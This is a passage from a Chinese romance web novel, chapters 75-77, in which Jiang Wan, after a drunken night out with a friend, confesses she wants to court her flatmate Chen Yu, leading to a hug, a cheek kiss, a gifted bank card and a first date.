“好吃吗?”陈屿问她。 “好吃,你要不要尝尝?” “不用,你吃吧。”趁着她吃,陈屿开口,“刚才你和那个男同事在聊什么?” “哪个男同事?” “就刚才在门口的时候,我接你之前,那个短头发,戴眼镜的。” 他这么一提醒,姜挽想起来了:“哦,你是说宋伟吧,我刚才是在和他请教技术的问题。” “哦。”陈屿的语气不大开心。 姜挽听出来了,停下动作,看着他:“怎么了,是有什么问题吗?” “下次不要和他靠那么近说话,有什么技术问题直接来问我。”陈屿很直接,在这些事情上他一向直接。 姜挽没听出他的弦外音,只是纳闷:“你连技术问题都懂吗?” “嗯。”现在不懂,但以后会懂的。 “但你也没时间吧?这些都是细节性的,问起来很繁琐的。” 陈屿反驳她:“你找我,我哪次没时间?你的事,我哪次不是放在最紧要的位置?” 看出他有点不高兴了,姜挽没再继续,转而将话题再次引到糕点上,“你真不打算尝尝吗?这家味道很不错的。” 这已经是她今天第二次邀请他了,陈屿看着她的嘴角,想了下,突然开口:“好,那我尝尝。” 姜挽刚把盒子端起来,下一秒却发现自己的下巴突然被抬了起来,接着嘴角的位置被轻轻蹭过,微微的热意,温暖干燥的触感。 接着便见陈屿将指腹放进了嘴里:“嗯,确实不错。” “……” 姜挽沉默了,好半天,才憋出来一句:“你刚才是在干嘛?” “尝尝,不是你说的吗?”陈屿回得理所当然。 “可你……”姜挽说不出口,转而换了另一种说法,“我不明白你的意思。” 陈屿灼灼地看着她:“一个成年男性对着一个成年女性做出这个动作,你觉得是什么意思?” 姜挽摇头,她不知道,或许知道了,只是不敢相信。 陈屿见此,伸手捧着她的脸颊,毫无征兆地,突然在她额头印下一吻:“那这样呢?” 姜挽呆住了,长睫毛被他温热的呼吸烫到,蝴蝶翅膀一样颤个不停。 “还是不懂?”陈屿手上的动作没动,眼神却从她的眼睛一路往下,最终停留在嘴唇处,“需要我再明确点?” “不……不用了。”姜挽回过神来,忙从他手中挣脱。 紧张,害羞,还有对他的这些行为和话语的不确定,让她一瞬间六神无主:“我饿了,我们赶紧回家吧。” 话出口,她才意识到自己刚吃了糕点,而且这会儿手里还拿着半块。 “姜挽,”陈屿突然叫她,眼眸沉沉,“你躲我?” 姜挽瞬间慌乱:“不是,我没有,我只是……” “只是什么?” 只是害怕,自卑,胆怯。各种情绪混杂在一起,她根本无从说起。 “罢了,”陈屿叹一口气,温和下来,“先回家吧。”《 》 75-80 第76章 表白 到了家, 陈屿问她想吃什么,姜挽一时也想不到,她刚才本来也就是随口说的:“都行,冰箱里有什么, 就吃什么吧。” 可能是以为她真饿了, 陈屿没再说什么, 进厨房开始准备。 洗菜, 切菜, 再加上翻炒制作, 一个小时的时间,陈屿已经把三菜一汤都准备好了。姜挽忙过去端菜,一般陈屿做饭的时候都不让她在厨房待着, 也就只有现在, 她能发挥点自己的作用了。 路过餐桌, 突然听到电话响, 是陈屿的手机,她没贸然去查看, 而是隔着一段距离告诉陈屿:“你电话在响, 有人找。” 陈屿正忙着最后的装盘,语气很随意:“帮我看看是谁打的?” “稍等。”姜挽这才走过去, 正打算查看, 却突然注意到他的手机壁纸,照片上是一个女孩, 正靠在副驾驶座上睡觉。虽然照片光影参半, 对焦也不是很清晰,可姜挽还是一眼便认出,那个女孩就是自己。 这是他什么时候拍的? 又为什么要设成自己的手机壁纸? 姜挽看看手机, 又看了眼厨房忙碌的身影,觉得心咚咚跳得厉害。 她半天不出声,陈屿还以为发生了什么,忙端了菜出来:“怎么了?”走近了,他注意到姜挽正看着他的手机壁纸,也没说什么,只抬手碰了碰她的脸颊,“你先吃,我去接个电话。” 电话是宋泽宇打来的,和他汇报沈曼的事情。前段时间他交代宋泽宇去联系沈曼所在的康复中心,以匿名的方式对其进行捐款,条件只有一个,就是要对沈曼进行特殊照顾,沈曼所用的一切都要他们那里最好的,同样这件事也需要保密。 “陈总,事情已经处理好了,”宋泽宇在电话里告诉他,“康复中心会以服务升级,回馈老顾客为理由来推进这件事情,沈女士那边不会知道的。” “嗯,这件事办的很好,”陈屿心情不错,“年底你的奖金我会安排。” 奖金什么的,宋泽宇倒是没那么在乎,说真的,跟着陈屿这么长时间,他更多佩服的是他的为人,这事就算没有奖金,他也会尽心尽力去办的。 “谢谢陈总,不过我能问您一个其他的问题吗?” 这么长时间的相触,陈屿对他也是特别的,虽然有点不乐意,但还是耐着性子开口:“什么问题?” “这位沈女士和您是什么关系?是您的亲属吗?” 陈屿就知道他一开口准没好事,但对他这种偶尔没什么分寸的风格也习惯了:“算是吧,是一个对我而言很重要的人的母亲。” “那您为什么还要匿名呢?”宋泽宇不懂。 陈屿深吸了口气:“因为不想给她压力。” “那您……” “好了,”陈屿打断他,“不是说一个问题吗?我已经回答了,我还有事。” 说罢,他打算挂电话,临挂断前,又加了一句:“以后能不能改改你这没分寸的性格,什么都爱问。” “因为是您我才追问的,”宋泽宇小声反驳,“我问了也是为了更好地服务您,更好地给您当助理。” 陈屿懒得听他啰嗦,直接挂断了电话,回到餐桌,姜挽已经把剩余的菜端出来了,又给他和自己分别盛了米饭。 陈屿在餐桌旁坐下,没直接吃,而是先和她解释:“宋泽宇打来的,汇报点工作的事情。” “嗯,我刚才看到了。”姜挽点头,因为那张壁纸,她这会儿还是有点不大敢看他,“先吃饭吧。” 她低着头,把菜往他那边推。 陈屿依旧没动,他知道她也看见照片了:“你就没什么想问我的吗?” 姜挽一顿,指尖攥着筷子:“问什么?” “照片。”陈屿干脆挑明,他还是不死心。来来回回的试探,正是因为他没底气。紧张的从来就不止姜挽一个,还有他。 甚至可以说,在这段感情里,他才是更患得患失的那一个。因为被抛弃过,才会不自信,更加不敢再轻易迈出那一步。 所以这一次,她的想法,她的态度,他一定要知道,“你看到了是不是?” “嗯。”姜挽知道他指的是照片,也就没否认。 陈屿提着一口气,因为紧张,声音甚至也不是一贯的沉稳,微微带着点颤,“所以,你是什么想法?” 姜挽指尖攥得更紧了:“我想知道你是什么时候拍的?” “现场出差,在车上,你睡着了。”陈屿像是没什么耐心,简单地说出几个词,显然对她这个问题并不满意。 但也足够姜挽想起来了,她小声要求:“你可不可以把它换掉。”因为她担心被其他人看到会影响到他。 这不是他想要的答案,陈屿有些焦躁,他胡乱撸了一把头发,倾身向前:“不可以。” 他目光灼灼,明确拒绝了她:“而且你不应该问这些。” 姜挽低着头,声音很低:“那我应该问什么?” “你应该问我为什么要拍你的照片?又为什么要拿它当手机壁纸?”在她面前,他总是沉不住气,总是输,“姜挽,我再和你重申一次,没有任何一个成年男性会随便把一个成年女性的照片设置成手机壁纸!所以,你觉得这意味着什么?” “意味着……”话到嘴边,姜挽却没勇气继续说下去了。 意味着他对她有意思,或许更幸运点,他还会喜欢她。可她要如何区分这喜欢不是因为对过往的执念,又要如何确认能持续多久呢? 更别说,当初的事情,确实是她对不起他了。即便不讲,不说,可姜挽一直都觉得,在感情里,她位于下位,她对陈屿有愧疚,她有很强的不配得感。 过去种种,造就了她的性格,所以即便此刻一直期盼的事情就在眼前,中间只隔了一道虚掩的门,她也没有勇气去推开它。 “算了,不想说就别说了。” 她退了,陈屿也退了。 一样的敏感脆弱,一样的惴惴不安,所以宁愿选择退回的方式,独自舔舐伤口,也没有勇气更进一步。 一顿饭,两人谁也没再说话,沉默着吃完,各自回了房间。 进屋,姜挽情绪不高,匆匆洗了澡就打算早点休息。躺在床上,习惯性地检查有没有遗漏的消息,却突然看到尤伽发过来的微信:【明天有时间吗?】 【世贸有一家新酒吧开业,据说活动力度很大,还有明星站场,我们一起去?】 要是以前,姜挽肯定就直接拒绝了,去酒吧和工作学习比起来,后者毫无疑问占了上风。 可今天不一样,刚刚和陈屿的不欢而散对她影响很大。她有疑惑,有犹豫,还有一种绷了太久,隐藏了太久,想要尝试放纵解脱的感觉。 或许尤伽能帮她,或许酒能帮她,姜挽没多想,直接就同意了:【几点?在哪里?】 【八点,我们酒吧门口见。】 【好,明天见。】 次日,她和陈屿交代了一声便出门了,知道她是和尤伽一起,陈屿也就没多问,只叮嘱她不要太晚回来。 姜挽到了地方一看,果然装修豪华,布置气派。尤伽带着她朝里走,两人找了个相对安静点的地方坐下。 尤伽点了一杯莫吉托,打算给姜挽要一杯饮料,却被她拒绝了:“我今天也想喝酒。” “你能行吗?”尤伽诧异地看着她。 “没问题,”她转头和旁边的服务生开口,“麻烦给我一杯和她一样的。” “不行,”尤伽及时阻止,“还是给她一杯果酒吧,度数最低的就行。” 服务生走后,尤伽看着姜挽,表情很耐人寻味:“呦呦,你今天不对劲啊,是不是遇到什么事了?” 姜挽随意转着桌上的空酒杯,长叹一口气:“被你看出来了?”其实她本来也就没打算瞒着尤伽,“我确实有件事想问问你的意见。” “和陈屿有关?” “你怎么知道?”姜挽很吃惊。 尤伽了然于胸:“除了他,还有谁会让你出现这副魂不守舍的样子?” “好吧。”姜挽不知道她表现的这么明显,有点尴尬。 酒端上来,两人一时间都没说话,姜挽是在思考该如何开口,尤伽则是在给她时间。 喝着酒,尤伽开始刷手机,突然刷到陈屿发的朋友圈,忍不住惊呼一声,忙拿过去给姜挽看:“奇迹啊,陈屿竟然发朋友圈了,要知道自从高中后他就再没发过,今天可是第一次。” “是吗?他从没发过?”姜挽觉得纳闷,可她经常能看到陈屿的朋友圈啊? 说着,她也去翻,还真看到了陈屿发的那条。简单一张千纸鹤的照片,没有任何配文,姜挽一下就认出来,那是她昨天闲得无聊在客厅坐着时随意折的。 底下孟云程已经评论了,和尤伽刚才的话差不多:“你小子怎么突然发朋友圈了?诈尸?” 既然他们都这么说,其中肯定有原因,她问尤伽:“你们真的都看不到陈屿发的朋友圈吗?” 说着,姜挽把自己手机拿给尤伽看,在她的微信里,陈屿何止是爱发啊,简直就是痴迷。一天一条都是少的,经常都是两三条。出差,小猫,风景,还有各种分享生活的,与其说是朋友圈,不如说是另一种方式的聊天框更为合适。 尤伽边看,边忍不住感叹:“原来陈屿私下竟然是个这样的人,还挺爱生活的嘛。” 感叹完了,她问姜挽:“所以,他的朋友圈我们都看不到,只有你能看到,你知道这意味着什么吧?” 姜挽知道,这意味着“仅她一人可见”,意味着所有的这些,陈屿都是分享给她一个人的。 尤伽把手机还给她:“呦呦,其实我也想问,你和陈屿,现在到底是什么情况?” 尤伽极少如此正经地和她谈论一个话题,姜挽忍不住有点紧张:“其实我也不知道,就是我们现在合租,但……” “合租?!”她还没说完,就被尤伽打断了,“你觉得以陈屿的收入,有必要合租吗?” 姜挽也觉得没必要,但当时事发突然,便把她搬家的前因后果都和尤伽解释了一遍。 尤伽听完后,还是觉得有疑点:“即便他想帮你,帮忙提供房子就够了,实在没有必要一起住进来。”再说了,她声音不自觉放低,“你们这哪叫合租啊,不应该叫同居更合适嘛。” 听到这个词,姜挽差点被呛到,接连咳了好几声才缓过来:“是合租,真的是合租。” 尤伽还是不信:“那好,你们合租在哪里?房租又是多少?” “使馆壹号院,房租我按北城普遍的价格来支付的。” 哪知尤伽听完后,刚喝进去的酒差点喷出来:“呦呦,那可是使馆壹号院,有市无价的房子,整个北城买得起都没几家,你竟然以普通价格支付?也就陈屿没告诉你。” “真的吗?”姜挽惊诧,难怪她当初根本查不到一丁点关于这个房子的信息,“那你知道应该付多少钱吗?我想把这些补给陈屿。” 尤伽无奈:“我不知道,而且就算我知道,我也不会告诉你的。”她叹口气,“你别和我说你看不出来陈屿的意思?他摆明了就不想要你这钱。” 姜挽垂着眼睛,她知道的,只是不敢。 尤伽见她这样,又有点不忍心,姜挽的性格她知道,这些年又经历了这么多:“你告诉我,你还喜欢他吗?” “嗯,我喜欢他,一直都喜欢。”姜挽毫不犹豫点头。 “你喜欢他,他也喜欢你,所以,你俩目前的问题是?” “我……”姜挽犹豫,“我对他很愧疚,觉得自己配不上他,也担心他的这种喜欢是不是只是对过去的执念。” 听到这,尤伽满眼都是心疼,对她,也对陈屿。明明是一对有情人,可时光荏苒,命运捉弄,却生生错过了这么多年。 但感情这种事,她也没办法干涉太多,只能把她知道的说出来:“别的我不清楚,那是你们两个人之间的事情,只一件事,如果你对陈屿的感情不确定的话,我或许可以说两句。” 尤伽转动着酒杯,感慨道:“以前我不清楚你们之间的状态,不好干涉,也就一直没说。现在既然你问了,那我就直说了,陈屿这几年,其实过得并不好。” 尤伽娓娓道来,像是陷入了某种回忆。 “你刚走的那段时间,陈屿情绪非常低落,谁劝都没用,经常喝得烂醉,好几次还进了医院。后来虽然渐渐好了点,但整个人完全变了,由内而外地透着冷,有时候也就孟云程还能和他说两句话,其他人一概不理。” 姜挽的指尖攥得青白,没敢接话。 “后来毕业的时候,他父母原本已经都帮他安排好出国了,他却突然不去了,硬是要待在北城,这一待,就是这么些年。虽然他从没说过,但我们也都知道他在等什么。” 姜挽眼眶酸涩,有眼泪在打转,她忍住了。 “对了,还有你们那只小猫,你走后他就收养了,每天尽心尽责地照顾,对它比对人都上心。” “啪嗒”一声,眼泪从长睫上滑落,一滴,两滴,落进酒杯里,溅起小幅度的水花,姜挽忙低头喝了一口来掩饰。 她不知道,她真的都不知道。 心碎了是什么感觉,姜挽再一次强烈地感觉到了。没办法开口,也没办法呼吸,心脏的位置阵阵钝痛,来来回回,每一次都和陈屿有关。 身体的每一寸皮肤,每一丝血液都在忏悔,在愧疚,在为他感到心疼。为了压下这难受的感觉,姜挽不得不一次又一次猛地灌酒。 “这些还只是我知道的,”尤伽看出她难受了,也没拦着她,继续开口道,“呦呦,有些时候,我们自己也应该勇敢一点。” 酒是什么时候喝完的,又喝了多少,姜挽已经记不清了,她只知道迷迷糊糊间有一抹熟悉的身影正朝她走来,是陈屿。接着便脑袋昏沉,身体一软,倒进了他的怀里。 “怎么喝这么多?”陈屿的脸色冷,声音更冷。 “还好,其实也没喝多少,只是没想到呦呦酒量这么差,”尤伽有点尴尬,刚才眼见着姜挽要醉了,她便立马给陈屿打了电话,“你先带她回去吧。” “嗯。” 对尤伽带她出来喝酒,还喝醉的事情,陈屿颇有几分不乐意,但毕竟尤伽是她朋友,几人又自小相识,陈屿也没说什么,只是离开前叮嘱尤伽注意安全,并在微信上把酒吧的地址发给了孟云程。 喝醉后的姜挽很安静,一路任由陈屿抱着。上车后也很乖,全程都只靠在副驾驶座上睡觉,不吵也不闹,只是眉宇间总是皱着,像笼着一层挥散不去的悲伤。 陈屿抬手碰了碰,那褶皱没消,他又碰了下她的脸颊,轻声开口:“睡一会儿,马上就到了。” 怕姜挽难受,陈屿一路都开得很慢,半个小时的路,他花了将近一个小时才到家,下车时,他正打算去抱她,姜挽却突然醒了。 两人极近地对视着,姜挽突然开口,一片泛红的眼尾,一抹朦胧的春色:“陈屿。” “嗯,是我。”陈屿原本还以为她不愿意被他抱,正打算解释,却没想到下一秒她却突然主动伸手,身体贴过来,下巴枕在他的肩膀。 一瞬间,陈屿的心脏紧缩,像是被一根绳牵着,而他顺着绳线去看,发现这根绳子的另一端,就攥在姜挽手里。 “我难受。”姜挽小声呢喃。 “我知道。”陈屿手上的力道下意识收紧,心都要碎了,抱着她,“我们先回家好不好?” “嗯。” 陈屿抱着她,经过走廊时,一阵穿堂风而过,他顿感自己肩头一阵冰凉,还有微微湿意,一瞬间,他便意识到那是什么了,加快步伐朝着电梯走去。 进了屋,他把姜挽放下来,果然看到她眼睛红红的。陈屿没说什么,帮她脱掉外套,带着她来到洗手间。 水不算热,陈屿等了一会儿才把她的手指握住,仔细冲洗着。接着又拿湿毛巾,一点点伺候她擦脸。热气散开,他见着姜挽状态好了一点才开口:“怎么了,和我说。” 许是这热气,也可能是他这句话,姜挽一瞬间就绷不住了,眼泪落得很快,断了线的珠子一般:“是我不好,我对不起你。” 陈屿皱眉,两人离得这么近,他自然而然地捧起她的脸颊:“是不是尤伽和你说了什么?” 姜挽点头,又摇头,她还是不大清醒:“和尤伽没关系,是我自己的问题。” 陈屿盯着她,不说话了,他听不得她说这个。几秒钟后,他突然拦腰把姜挽抱起,直接来到客厅,放在沙发上:“到底发生了什么,和我说。” 姜挽控制不住自己的眼泪。 陈屿垂眸,像是临时起意,又仿佛早有预谋,亲吻她的额头:“别哭,我会心疼。” 没想到姜挽哭得更凶了。 没办法,陈屿只得把她抱在腿上,一下下温柔地帮她擦拭着眼泪,依旧耐心地询问:“是不是受欺负了?” 哪知,姜挽却拼命摇头,哽咽着开口:“我……我对不起你,是我不好。” 这话,今晚已经是她第二次说了,陈屿实在是不想再听,刚想开口说些阻止的话,没想到下一秒,姜挽却像是被打开了任督二脉似的,一发不可收拾。 “呜呜呜……当初你对我那么好,我却伤害你,还一声不响地离开你。” 陈屿没想到她指的是这件事,一瞬间哑然,虽然他确实在意那些,可和她相比,真的不算什么:“其实,我……” “你先别说话,先听我说完。”姜挽直接打断他。 陈屿好脾气地帮她擦眼泪:“好,我不说,听你说。” “呜呜呜……当初你明明什么都没有做错,我却还是伤害了你,我对你那么不好,我是个坏人。” 陈屿温柔地帮她把头发捋了捋。 “是我不好,是我对不起你,我不配得到原谅。” 陈屿轻轻晃动双腿,像安抚小孩那样。 “你恨我,讨厌我,都是我应得的,可你为什么偏偏还要对我好?我不值得你这样。” 陈屿温柔地捋着她的后背,帮她顺气。 她其实并没有完全清醒,说话逻辑和语序也都是颠三倒四,没什么重点的。可从她这几句话里,陈屿也大概听明白了。 “我现在能说话了吗?”他问。 姜挽点了点头,一双桃花眼抬起来,迷蒙中带着水汽。 陈屿不大敢和她长时间对视,抬手轻轻遮住她的眼睛:“你在我这,什么都可以。” 话音落,姜挽突然呕吐了一声,陈屿也不知道她到底有没有听清,刚想再说一次,姜挽却激动地大声开口:“我决定了,我要开始追你!” “你说什么?”陈屿眉心狠狠一跳。 “我说我要开始追你!要弥补之前的一切!”她晕得厉害,身体不自觉往陈屿怀里靠,“你愿意给我这个机会吗?” 这次,轮到陈屿蒙圈了,他心跳得厉害,连带着太阳穴的位置也突突跳个不停,他等了这么久,忍了这么久,不敢相信这一刻此时就真切地发生在自己眼前。 可看着姜挽,他却仍然违心地开口:“你喝醉了,现在不清醒,这件事等明天再说。” 他不想她在不清醒的时候做任何决定,即便是这种也不行。向来放在心尖上的东西,最是舍不得。 “我很清醒!”姜挽反驳他,甚至还要从他腿上站起来,可没想到刚起来,便觉头脑眩晕,下一秒,又倒在了陈屿怀里。 闭着眼睛,喃喃自语:“我要追你,要追陈屿……” 陈屿抱着她,像捧一抹月色,掬一缕春光,一生的梦想就在眼前,他根本控制不住。指尖划过她的眉眼,他轻声呢喃:“我从来就没有怪过你,又怎会不同意。” 第77章 追你 姜挽因为喝醉了, 当晚睡得很沉。倒是陈屿,一夜无眠。 兴奋,惊喜,紧张, 还有半生夙愿即将实现的不真切, 无数种情绪交织在一起, 他睁着眼睛, 直到天亮。 不到六点, 他便起床开始准备早饭了。 小米粥, 鸡蛋羹,还有蜂蜜水和牛奶,全部都是按照清淡解酒的标准来准备的。陈屿精确计算着时间, 恰好在姜挽起床时全部端上桌。 两厢对坐, 谁也没有主动开口提起昨晚的事情。 正当陈屿以为她要再次逃避, 把昨晚的事情当作没发生时, 姜挽却突然开口:“昨晚,我喝醉了。” 不过这话, 说了和不说也没什么区别, 陈屿皱眉:“所以呢,你什么都不记得了?” “不是, 当然不是了。”姜挽连忙否认, 她也觉得奇怪,以前总听说喝醉后会不记得前一天发生的事情, 可她却清清楚楚地记得。每一个动作, 每一句话,她都记得。 所以她说要追陈屿,以及陈屿说让她清醒之后再讨论的事情, 她都记得。 姜挽的睫毛在抖,手中的汤匙无意识地搅动着小米粥,“我现在没喝酒,我已经清醒了。” 陈屿吸一口气,指尖在她看不见的地方烦躁地翻着打火机,仍然追问:“所以呢?” “所以关于昨晚的问题,我想再问一遍,”姜挽语速加快几分,微扬着下巴,显得有些急切,“你同意吗?我可以追你吗?” 指尖的动作停下,心里悬着的那块石头也终于落地,陈屿彻底松了一口气:“这是你自己的想法?还是尤伽教你的?” “我自己的,”怕他不相信,姜挽又加了一句,“尤伽还不知道我要追你的事。” 陈屿垂眸搅着小米粥,内心惊涛骇浪,表面却依旧故作平静,“怎么突然有了这种想法?” 姜挽其实也想过这个问题,她认真思考过:“也不是突然有的,可能以前就有,只是我一直不敢正视。” 陈屿还不罢休:“从什么时候开始?” “发现你不讨厌我的时候。”姜挽很配合,几乎是他问什么,她就答什么。 “最后一个问题,”陈屿起调,“我要知道你到底是不是真心喜欢我,就算是被人追,我也有自己的原则,”他俯视着她,眸色沉沉,“我不接受没有感情的追求。” “我是真心的。”姜挽笃定地对上他的眼睛。 “你怎么证明?” 怎么证明…… “给你花钱可以吗?” 陈屿没回答,可那表情已经很明显了,明摆着在说,他不需要。 “给你买礼物?” 陈屿还是没反应,看来还是没说到他的心坎上。 “那我给你做饭呢?” 陈屿看起来已经有点不耐烦了,姜挽慌了,忙开口:“我现在可能一时半会想不到,但你相信我,我以后慢慢证明,行吗?” 陈屿挑眉:“你就这么想?” “嗯。” “不后悔?” “不后悔。” “那你试试吧。”仿佛恩赐的语气,心里却怕姜挽反悔,“但我不保证你能追上。” “没关系,你愿意给我机会就已经很好了,事在人为。” 吃完饭,姜挽打算回房间,陈屿却突然从沙发上站起来,表情有些不爽:“你就这么回去了?” 姜挽茫然,快速在脑子里思索了一番:“是我有什么事情没做?还是哪里惹你不高兴了?” 当然有,但陈屿不好意思直接开口:“刚才不是你说要追我的?” “嗯。”姜挽看着他,等他后续。 “那你离开前不应该和我表示一下吗?” “表示?”姜挽不大懂他的意思,“我刚才有和你说的。” “只是说吗?”陈屿看着她,“既然是追人,就应该拿出点诚意来。” “你指的是……” “至少应该拥抱一下吧?拥抱告别,没听过?” 姜挽愣住,这么快的吗?再说了,她只是回房间,又不是离开,几步的距离,应该也用不上拥抱告别吧。 “怎么?做不到?”陈屿故意开口,微妙地将语气控制在无所谓和失望之间,“既然你觉得勉强,那就算了。” “不是,不勉强,”姜挽主动朝他走近两步,小声解释,“我只是担心节奏太快了,你接受不了。” 陈屿没什么接受不了的。 “既然是追我,那就应该按照我的意见来,我好像没说过你节奏太快吧?” 姜挽想了想:“没有。” “那你还等什么?” “哦。” 冬日,头顶有暖阳从东窗外照进来。 光线,暗影,还有两人彼此交叠在墙上的影子,都让此时周遭仿佛蒙上了一层朦胧暧昧的滤镜。在这东窗下,在这微光里,姜挽慢慢向陈屿走近。 两厢对视,她伸出胳膊,轻轻投入他的怀抱。 像揽一缕春风,又仿佛擎一抹天光,陈屿伸出胳膊,接住了她。他的梦,他的以后,他的全部。 这不是他们第一次身体接触,却是第一次面对面,如此坦诚,如此心无旁骛地拥抱对方。 身体贴得近,心贴得更近。 “可以了吗?”良久,姜挽问。 “嗯。”陈屿答,随即松开她,“回房间去吧。”语气平静,心跳却重如擂鼓。 回到房间,姜挽便开始在网上查找资料,既然说了要追陈屿,她就要开始认真准备。 虽然她在这方面没什么经验,但胜在踏实认真,经过几个小时的奋战,终于整理出了一份详细的“追求计划表”,内容细致到“每一次嘘寒问暖”,时间精确到“每一个小时的安排”,称得上是一场完美的追求计划。 计划安排好了,往后就是具体内容的实施,接下来的几天,姜挽每天都严格按照表格的顺序,一项不落地认真完成。 早安,午安,晚安,每日定时定点发送。 鲜花,情书,礼物,也是两三天就会更新。 还有每天的嘘寒问暖,雨天带伞,降温加衣,甚至网上那种“心灵鸡汤”式的关心短话语,她也一并复制下来,都发给陈屿了。 她就这么兢兢业业,勤勤恳恳地,追了陈屿一周。 陈屿一开始还挺享受的,不为别的,只为她的眼里只有他。 可刚过一周,他便觉舍不得了,终于在姜挽再一次下班给他带礼物时,他开了口:“姜挽,其实追我不用这么麻烦。” 姜挽没懂他话里隐藏的意思:“不麻烦的,能为你做这些我觉得很开心。” 这些话听在陈屿耳朵里虽然很受用,可他还是继续道:“你做这些无非就是想向我证明你是真心的,现在有更方便快捷的方法,你想不想尝试?” 话音落,姜挽果然动心:“真的吗?什么方法?” 陈屿抱臂,斜斜倚在门框上,故意卖关子:“和你现在的方法比简单多了,而且你做了,我就一定会相信。” “那是什么方法?”姜挽很感兴趣。 陈屿朝她招手,在她靠近时故意弯腰,视线和她齐平,眼眸沉沉:“亲我一下。” 听闻是这个,姜挽瞬间愣住,她完全没想到竟然会是这个方法,一时间怔怔地看着陈屿,不知该如何回答。 从她这眼神中,陈屿看出了犹豫,看出了慌张,还有从未经历过这种事情的无措,可唯独没有任何厌恶和排斥。 他耐心等着,果然,没多会儿姜挽就主动开口:“我亲了,你就会相信了吗?” “当然。”陈屿凝视着她,嗓音似含着鸦片,声声入耳,似蛊惑,“只要你亲了,我就相信。” “那……亲哪里?”姜挽无意识咬了下下唇,声音低得几乎听不见。 陈屿看着她因为被咬而变得殷红的嘴唇,应该是涂了唇膏之类的东西,灯光照上去,有一种清纯与□□结合的矛盾美。 越是矛盾,越是让人好奇,想要一探究竟。 喉结滚了滚,他极力压下心里躁动的那部分:“脸颊吧。”他违心地开口。 说完这句,他仍保持着弯腰的动作,似在等待。 果然,没多久,鼻尖便传来一缕清香,接着左侧脸处便落下一个吻,很轻,很快,但陈屿还是真切地感受到了,他以前从来不知道,原来嘴唇竟然可以这么软。 “可以吗?”姜挽不大敢看他,亲完便退开了,刚才的行为于她而言也是前所未有的第一次。 第一次主动,第一次亲吻,但因为对方是他,也就没什么不能接受的。 陈屿用手碰了碰刚才被她亲的位置,似在回味,可嘴上却开口:“勉强吧,要是嘴唇会更好。” 听到这话,姜挽“腾”的一下脸就红了,虽然她是在追陈屿,而且追求他也是她主动提出来的,可这些事情她还没有想过,如今被他这么直白地讲出来,她还是会觉得手足无措。 “没什么其他事的话,我就先回房间了。”担心再和他继续待在同一个空间,她的脸会烧得越来越厉害。 “等一下,”陈屿拦住她,接着从钱包里掏出一张银行卡,“拿着,以后买东西就用这个。” 一张极少见的黑色银行卡,通体漆黑,卡面并没有过多的图案和表示,可姜挽还是一眼便认出来了,这便是传说中的黑卡。她虽是第一次见,可之前关于它的传闻却没少听,最夸张的一点就是据说这张卡可以无限透支。 姜挽没接,而是问他:“这是?” “银行卡。” 姜挽当然知道,她只是不明白他为何会给她:“为什么给我?” “你给我买了东西,花了钱。”陈屿找了一个很牵强的理由。 姜挽也觉得牵强:“我其实没买什么,就这么点东西,根本用不上黑卡。”她凝视着他,“再说了现在明明是我在追你,即便是要给银行卡,也应该是我给你。” 因为知道自己和陈屿的差距,所以这后半句,她说的很没底气。 陈屿倒是没在意这个,只是打算纠正她的想法:“你刚才也说了,现在是你在追我,那是不是就得按照我的标准来?只要我高兴就行?” 姜挽点头。 陈屿继续:“既然如此,那你就应该收下这张卡,因为这就是我的标准,追我就必须得按照这样来。只有你收下了,我才会高兴。” “可是……” “没什么可是的,”陈屿打断她,他了解她的性格,干脆直接将卡塞给她,“这卡你要是不接,我就不同意你继续追了。” 此话一出,姜挽果然没敢再直接拒绝,只是小声辩解:“这两件事不是一回事,不能混为一谈。” “在我看来就是。” “那好吧。”姜挽把卡攥在手里,没再继续和他争论,想的是她先收着,以后再找机会偷偷还给他。 可陈屿像是能看透她的想法:“你不要打什么乱七八糟的注意,这卡既然给你了,就不要再想着偷偷给我塞回来。” 被拆穿了,姜挽很尴尬:“没有,我怎么会这么想。” “最好这样,”陈屿暂且相信了她,他还有其他事要和她说,“对了,这周末的时间你空出来。” “怎么了,有事吗?” “当然有,”陈屿用指节点了下她的鼻尖,“你追人难道不需要约会的吗?” 姜挽这才反应过来:“可是我还没来得及准备。” 陈屿打量着她:“按理说这事本来是应该你来安排的,但是我人好,也就不和你计较了。我已经安排好了,到时候你只需要参加就行。” “好,谢谢你。”姜挽忍不住在心里感叹,他人还怪好的,看来追上他这事应该也也是有机会的。 周六,姜挽一大早便起床了,今天是她和陈屿的第一次约会,紧张得根本睡不着。 现在时间还早,她打算先去客厅倒一杯水再回来收拾,却在打开门之后,发现陈屿正在客厅坐着。今天没太阳,天阴沉沉的,偶尔几缕光亮破开云层照进来,落在在他眼睑眉梢处,投下一小块淡淡的剪影。 原来,睡不着的,不止姜挽一个。 听到开门声,陈屿抬头:“怎么起这么早?” 姜挽指指他桌前的咖啡:“你也挺早的。” “睡不着了。”陈屿很坦然。 “我也是。” 姜挽倒了杯水,在他旁边坐下。他们原本计划的时间是从中午开始,先吃饭,然后再逛街和看电影,按正常的约会流程,做其他所有情侣约会都会做的事情,到结束时,差不多就可以回家了。 可现在两人起得太早,距离中午还有一大把的时间 “上午有没有什么想做的?”陈屿主动问她。 姜挽其实还真有一个,自从遇见陈屿后,她便一直在想这件事。只不过之前和陈屿的关系一直都比较别扭,现在缓解下来了,她便忍不住想要试试。 “方便的话,能不能带我去见见小酒。” 陈屿看着她,良久没说话,似在思考。 姜挽还以为她这个要求过分了:“要是不方便的话就算了。” “没什么不方便的,”陈屿解释,语气放轻了几分,像是有些不忍,“但是这么多年过去了,很多东西都发生了变化,你得提前有个心理准备。” 姜挽有了不好的预感:“是不是小酒发生了什么?她生病了?还是……” 后面的话她没勇气问出来,可看陈屿的表情,姜挽就知道她猜对了。她早该想到的,这么长时间过去了,人都会变化,更何况是一只小猫。 是她失职了,是她没照顾好它,现在再没机会见到它了。 见她这样,陈屿不忍:“小酒离开的时候没什么痛苦,很安详,”他安慰她,“而且它也给你留下了念想,它要是知道小葡萄和你这么投缘的话,也会高兴的。” “你是说小葡萄是小酒的……” “没错,”陈屿肯定了她的猜测,“三年前。” 命运这东西还真是神奇,难怪姜挽第一次见到小葡萄的时候就觉得莫名熟悉,他们之间像是有某种磁场,轻易就将彼此连在了一起。原来它竟然是小酒的孩子。 “它很乖,和小酒一样乖。”姜挽感概。 陈屿起身,朝她走近两步,两人原本是各自坐在沙发两端的,这样一来,距离瞬间就拉近了,近得他能清晰感知到她内心的想法,“先去收拾一下,一会儿吃完饭我带你去看它。” “真的?” “我什么时候骗过你?” 